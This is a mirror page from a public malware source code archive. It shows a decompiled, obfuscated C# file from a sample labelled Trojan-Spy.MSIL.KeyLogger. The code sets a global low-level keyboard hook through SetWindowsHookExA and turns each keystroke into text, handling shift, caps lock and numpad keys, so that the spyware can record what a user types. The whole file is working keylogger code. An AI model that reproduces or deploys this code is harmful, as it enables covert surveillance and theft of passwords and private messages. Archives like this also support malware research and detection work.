mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
f2ac1ece55
add
243 lines
12 KiB
C#
243 lines
12 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: .
|
|
// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe
|
|
|
|
using \u0002;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.Reflection;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Windows.Forms;
|
|
|
|
namespace \u0004
|
|
{
|
|
internal sealed class \u0001
|
|
{
|
|
public class \u0001
|
|
{
|
|
[NonSerialized]
|
|
internal static \u0001.\u0001 \u0001;
|
|
private static \u0004.\u0001.\u0001.\u0002 \u0001;
|
|
private static \u0004.\u0001.\u0001.\u0003 \u0001;
|
|
private static int \u0001;
|
|
private static \u0004.\u0001.\u0001.\u0001 \u0001;
|
|
|
|
[DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int \u0002([In] int obj0, [In] \u0004.\u0001.\u0001.\u0001 obj1, [In] int obj2, [In] int obj3);
|
|
|
|
[DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int \u0002([In] int obj0, [In] int obj1, [In] int obj2, [In] \u0004.\u0001.\u0001.\u0004 obj3);
|
|
|
|
[DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int \u0002([In] int obj0);
|
|
|
|
[SpecialName]
|
|
[MethodImpl(MethodImplOptions.Synchronized)]
|
|
public static void \u0002([In] \u0004.\u0001.\u0001.\u0002 obj0) => \u0004.\u0001.\u0001.\u0001 += obj0;
|
|
|
|
[SpecialName]
|
|
[MethodImpl(MethodImplOptions.Synchronized)]
|
|
public static void \u0003([In] \u0004.\u0001.\u0001.\u0002 obj0) => \u0004.\u0001.\u0001.\u0001 -= obj0;
|
|
|
|
public void \u0002()
|
|
{
|
|
\u0004.\u0001.\u0001.\u0001 = new \u0004.\u0001.\u0001.\u0001(this.\u0002);
|
|
\u0004.\u0001.\u0001.\u0001 = \u0004.\u0001.\u0001.\u0002(13, \u0004.\u0001.\u0001.\u0001, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0);
|
|
}
|
|
|
|
private int \u0002([In] int obj0, [In] int obj1, [In] ref \u0004.\u0001.\u0001.\u0004 obj2)
|
|
{
|
|
if (obj0 == 0)
|
|
{
|
|
switch (obj1)
|
|
{
|
|
case 256:
|
|
case 260:
|
|
\u0004.\u0001.\u0001.\u0002 obj3 = \u0004.\u0001.\u0001.\u0001;
|
|
if (obj3 != null)
|
|
{
|
|
obj3(this.\u0002((Keys) obj2.\u0001));
|
|
break;
|
|
}
|
|
break;
|
|
case 257:
|
|
case 261:
|
|
\u0004.\u0001.\u0001.\u0003 obj4 = \u0004.\u0001.\u0001.\u0001;
|
|
if (obj4 != null)
|
|
{
|
|
obj4(this.\u0002((Keys) obj2.\u0001));
|
|
break;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
return \u0004.\u0001.\u0001.\u0002(\u0004.\u0001.\u0001.\u0001, obj0, obj1, obj2);
|
|
}
|
|
|
|
public void \u0003()
|
|
{
|
|
\u0004.\u0001.\u0001.\u0002(\u0004.\u0001.\u0001.\u0001);
|
|
// ISSUE: explicit finalizer call
|
|
this.Finalize();
|
|
}
|
|
|
|
private string \u0002([In] Keys obj0)
|
|
{
|
|
Keys keys = obj0;
|
|
if (keys == Keys.Back)
|
|
{
|
|
if (Operators.CompareString(\u0003.\u0002().\u0002().\u0005().Text, \u0004.\u0001.\u0001.\u0001(2478), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2487);
|
|
try
|
|
{
|
|
\u0003.\u0002().\u0002().\u0002().Text = \u0003.\u0002().\u0002().\u0002().Text.Substring(0, checked (\u0003.\u0002().\u0002().\u0002().Text.Length - 1));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
else
|
|
{
|
|
if (keys >= Keys.A && keys <= Keys.Z)
|
|
return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? obj0.ToString() : obj0.ToString().ToLower();
|
|
if (keys >= Keys.D0 && keys <= Keys.D9)
|
|
{
|
|
if ((Control.ModifierKeys & Keys.Shift) == Keys.None)
|
|
return obj0.ToString().Replace(\u0004.\u0001.\u0001.\u0001(2591), (string) null);
|
|
string Left = obj0.ToString();
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2496), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(407);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2501), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2506);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2511), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2516);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2521), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2526);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2531), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2536);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2541), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2546);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2551), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2556);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2561), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2566);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2571), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2576);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2581), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2586);
|
|
}
|
|
else
|
|
{
|
|
if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9)
|
|
return obj0.ToString().Replace(\u0004.\u0001.\u0001.\u0001(2596), (string) null);
|
|
if (keys >= Keys.Multiply && keys <= Keys.Divide)
|
|
{
|
|
string Left = obj0.ToString();
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2605), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(1958);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2614), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2566);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2627), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(1963);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2640), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2645);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2650), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2663);
|
|
}
|
|
else
|
|
{
|
|
if (keys == Keys.Space)
|
|
return \u0004.\u0001.\u0001.\u0001(1968);
|
|
if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes)
|
|
{
|
|
if ((Control.ModifierKeys & Keys.Shift) != Keys.None)
|
|
{
|
|
string Left = obj0.ToString();
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2668), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2681);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2686), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2645);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2699), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2720);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2725), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2734);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2739), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2748);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2753), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(1978);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2762), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2771);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2776), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2789);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2794), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2807);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2812), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2829);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2834), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2847);
|
|
}
|
|
else
|
|
{
|
|
string Left = obj0.ToString();
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2668), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(1963);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2686), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2852);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2699), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2857);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2725), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2862);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2739), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2867);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2753), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2872);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2762), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2877);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2776), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2882);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2794), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2663);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2812), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(1958);
|
|
if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2834), false) == 0)
|
|
return \u0004.\u0001.\u0001.\u0001(2887);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
if (keys == Keys.Return)
|
|
return \u0004.\u0001.\u0001.\u0001(788);
|
|
if (!(Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2892), false) == 0 | Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2905), false) == 0))
|
|
return Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2918), false) == 0 | Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2927), false) == 0 ? \u0004.\u0001.\u0001.\u0001(2936) : \u0004.\u0001.\u0001.\u0001(2857) + obj0.ToString() + \u0004.\u0001.\u0001.\u0001(2862);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return (string) null;
|
|
}
|
|
|
|
static \u0001() => \u0001.\u0002.\u0002();
|
|
|
|
private delegate int \u0001(int nCode, int wParam, ref \u0004.\u0001.\u0001.\u0004 lParam);
|
|
|
|
public delegate void \u0002(string Key);
|
|
|
|
public delegate void \u0003(string Key);
|
|
|
|
private struct \u0004
|
|
{
|
|
public int \u0001;
|
|
public int \u0002;
|
|
public int \u0003;
|
|
public int \u0004;
|
|
public int \u0005;
|
|
}
|
|
}
|
|
}
|
|
}
|